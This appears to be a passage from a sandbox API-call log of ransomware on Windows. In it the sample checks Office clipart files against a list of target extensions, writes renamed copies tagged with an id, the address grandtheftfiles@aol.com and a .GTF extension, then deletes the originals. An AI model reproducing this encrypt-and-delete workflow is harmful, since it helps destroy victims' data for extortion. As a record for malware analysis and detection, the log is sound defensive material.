	[0087.643] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.643] lstrlenW (lpString=".7z") returned 3
	[0087.643] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68
	[0087.643] lstrlenW (lpString=".dbf") returned 4
	[0087.643] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68
	[0087.643] lstrlenW (lpString=".1cd") returned 4
	[0087.643] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68
	[0087.643] lstrlenW (lpString=".jpg") returned 4
	[0087.643] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.643] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0087.643] lstrlenW (lpString="FD00799_.WMF") returned 12
	[0087.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0087.644] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=13968) returned 1
	[0087.644] CloseHandle (hObject=0x378) returned 1
	[0087.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf")) returned 0x220
	[0087.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0087.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0087.644] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.644] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0087.644] GetLastError () returned 0x0
	[0087.645] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x3690, lpOverlapped=0x0) returned 1
	[0088.044] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x36a0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x36a0, lpOverlapped=0x0) returned 1
	[0088.059] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.059] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0088.059] SetEndOfFile (hFile=0x35c) returned 1
	[0088.059] CloseHandle (hObject=0x35c) returned 1
	[0088.060] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.060] SetEndOfFile (hFile=0x378) returned 1
	[0088.060] CloseHandle (hObject=0x378) returned 1
	[0088.061] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0088.061] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf")) returned 1
	[0088.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68
	[0088.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68
	[0088.061] lstrlenW (lpString=".doc") returned 4
	[0088.061] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.061] lstrlenW (lpString=".docx") returned 5
	[0088.061] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.061] lstrlenW (lpString=".pdf") returned 4
	[0088.061] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.061] lstrlenW (lpString=".xls") returned 4
	[0088.061] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.061] lstrlenW (lpString=".xlsx") returned 5
	[0088.061] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.061] lstrlenW (lpString=".ppt") returned 4
	[0088.061] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68
	[0088.061] lstrlenW (lpString=".zip") returned 4
	[0088.061] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.061] lstrlenW (lpString=".rar") returned 4
	[0088.061] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.061] lstrlenW (lpString=".bz2") returned 4
	[0088.061] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.061] lstrlenW (lpString=".7z") returned 3
	[0088.061] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68
	[0088.062] lstrlenW (lpString=".dbf") returned 4
	[0088.062] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68
	[0088.062] lstrlenW (lpString=".1cd") returned 4
	[0088.062] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68
	[0088.062] lstrlenW (lpString=".jpg") returned 4
	[0088.062] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68
	[0088.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68
	[0088.062] lstrlenW (lpString=".doc") returned 4
	[0088.062] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.062] lstrlenW (lpString=".docx") returned 5
	[0088.062] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.062] lstrlenW (lpString=".pdf") returned 4
	[0088.062] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.062] lstrlenW (lpString=".xls") returned 4
	[0088.062] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.062] lstrlenW (lpString=".xlsx") returned 5
	[0088.062] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.062] lstrlenW (lpString=".ppt") returned 4
	[0088.062] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68
	[0088.062] lstrlenW (lpString=".zip") returned 4
	[0088.062] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.062] lstrlenW (lpString=".rar") returned 4
	[0088.062] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.062] lstrlenW (lpString=".bz2") returned 4
	[0088.062] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.062] lstrlenW (lpString=".7z") returned 3
	[0088.062] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68
	[0088.062] lstrlenW (lpString=".dbf") returned 4
	[0088.062] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68
	[0088.063] lstrlenW (lpString=".1cd") returned 4
	[0088.063] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68
	[0088.063] lstrlenW (lpString=".jpg") returned 4
	[0088.063] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.063] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0088.063] lstrlenW (lpString="FD01660_.WMF") returned 12
	[0088.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0088.063] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=12958) returned 1
	[0088.063] CloseHandle (hObject=0x378) returned 1
	[0088.063] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf")) returned 0x220
	[0088.063] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0088.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0088.064] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.064] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0088.064] GetLastError () returned 0x0
	[0088.064] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x329e, lpOverlapped=0x0) returned 1
	[0088.066] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x32a0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x32a0, lpOverlapped=0x0) returned 1
	[0088.067] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.067] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0088.067] SetEndOfFile (hFile=0x35c) returned 1
	[0088.067] CloseHandle (hObject=0x35c) returned 1
	[0088.067] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.067] SetEndOfFile (hFile=0x378) returned 1
	[0088.068] CloseHandle (hObject=0x378) returned 1
	[0088.068] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0088.068] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf")) returned 1
	[0088.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68
	[0088.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68
	[0088.069] lstrlenW (lpString=".doc") returned 4
	[0088.069] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.069] lstrlenW (lpString=".docx") returned 5
	[0088.069] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.069] lstrlenW (lpString=".pdf") returned 4
	[0088.069] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.069] lstrlenW (lpString=".xls") returned 4
	[0088.069] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.069] lstrlenW (lpString=".xlsx") returned 5
	[0088.069] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.069] lstrlenW (lpString=".ppt") returned 4
	[0088.069] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68
	[0088.069] lstrlenW (lpString=".zip") returned 4
	[0088.069] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.069] lstrlenW (lpString=".rar") returned 4
	[0088.069] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.069] lstrlenW (lpString=".bz2") returned 4
	[0088.069] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.069] lstrlenW (lpString=".7z") returned 3
	[0088.069] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68
	[0088.069] lstrlenW (lpString=".dbf") returned 4
	[0088.069] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68
	[0088.069] lstrlenW (lpString=".1cd") returned 4
	[0088.069] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68
	[0088.069] lstrlenW (lpString=".jpg") returned 4
	[0088.069] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68
	[0088.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68
	[0088.070] lstrlenW (lpString=".doc") returned 4
	[0088.070] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.070] lstrlenW (lpString=".docx") returned 5
	[0088.070] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.070] lstrlenW (lpString=".pdf") returned 4
	[0088.070] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.070] lstrlenW (lpString=".xls") returned 4
	[0088.070] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.070] lstrlenW (lpString=".xlsx") returned 5
	[0088.070] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.070] lstrlenW (lpString=".ppt") returned 4
	[0088.070] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68
	[0088.070] lstrlenW (lpString=".zip") returned 4
	[0088.070] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.070] lstrlenW (lpString=".rar") returned 4
	[0088.070] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.070] lstrlenW (lpString=".bz2") returned 4
	[0088.070] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.070] lstrlenW (lpString=".7z") returned 3
	[0088.070] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68
	[0088.070] lstrlenW (lpString=".dbf") returned 4
	[0088.070] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68
	[0088.070] lstrlenW (lpString=".1cd") returned 4
	[0088.070] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68
	[0088.070] lstrlenW (lpString=".jpg") returned 4
	[0088.070] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.070] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0088.070] lstrlenW (lpString="FD02068_.WMF") returned 12
	[0088.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0088.071] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=2488) returned 1
	[0088.071] CloseHandle (hObject=0x378) returned 1
	[0088.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf")) returned 0x220
	[0088.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0088.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0088.071] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.071] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0088.072] GetLastError () returned 0x0
	[0088.072] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x9b8, lpOverlapped=0x0) returned 1
	[0088.073] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x9c0, lpOverlapped=0x0) returned 1
	[0088.074] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.074] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0088.074] SetEndOfFile (hFile=0x35c) returned 1
	[0088.074] CloseHandle (hObject=0x35c) returned 1
	[0088.075] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.075] SetEndOfFile (hFile=0x378) returned 1
	[0088.075] CloseHandle (hObject=0x378) returned 1
	[0088.075] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0088.076] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf")) returned 1
	[0088.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68
	[0088.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68
	[0088.076] lstrlenW (lpString=".doc") returned 4
	[0088.076] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.076] lstrlenW (lpString=".docx") returned 5
	[0088.076] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.076] lstrlenW (lpString=".pdf") returned 4
	[0088.076] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.076] lstrlenW (lpString=".xls") returned 4
	[0088.076] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.076] lstrlenW (lpString=".xlsx") returned 5
	[0088.076] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.076] lstrlenW (lpString=".ppt") returned 4
	[0088.076] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68
	[0088.076] lstrlenW (lpString=".zip") returned 4
	[0088.076] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.076] lstrlenW (lpString=".rar") returned 4
	[0088.076] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.076] lstrlenW (lpString=".bz2") returned 4
	[0088.076] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.076] lstrlenW (lpString=".7z") returned 3
	[0088.076] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68
	[0088.076] lstrlenW (lpString=".dbf") returned 4
	[0088.076] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68
	[0088.077] lstrlenW (lpString=".1cd") returned 4
	[0088.077] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68
	[0088.077] lstrlenW (lpString=".jpg") returned 4
	[0088.077] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68
	[0088.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68
	[0088.077] lstrlenW (lpString=".doc") returned 4
	[0088.077] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.077] lstrlenW (lpString=".docx") returned 5
	[0088.077] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.077] lstrlenW (lpString=".pdf") returned 4
	[0088.077] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.077] lstrlenW (lpString=".xls") returned 4
	[0088.077] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.077] lstrlenW (lpString=".xlsx") returned 5
	[0088.077] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.077] lstrlenW (lpString=".ppt") returned 4
	[0088.077] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68
	[0088.077] lstrlenW (lpString=".zip") returned 4
	[0088.077] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
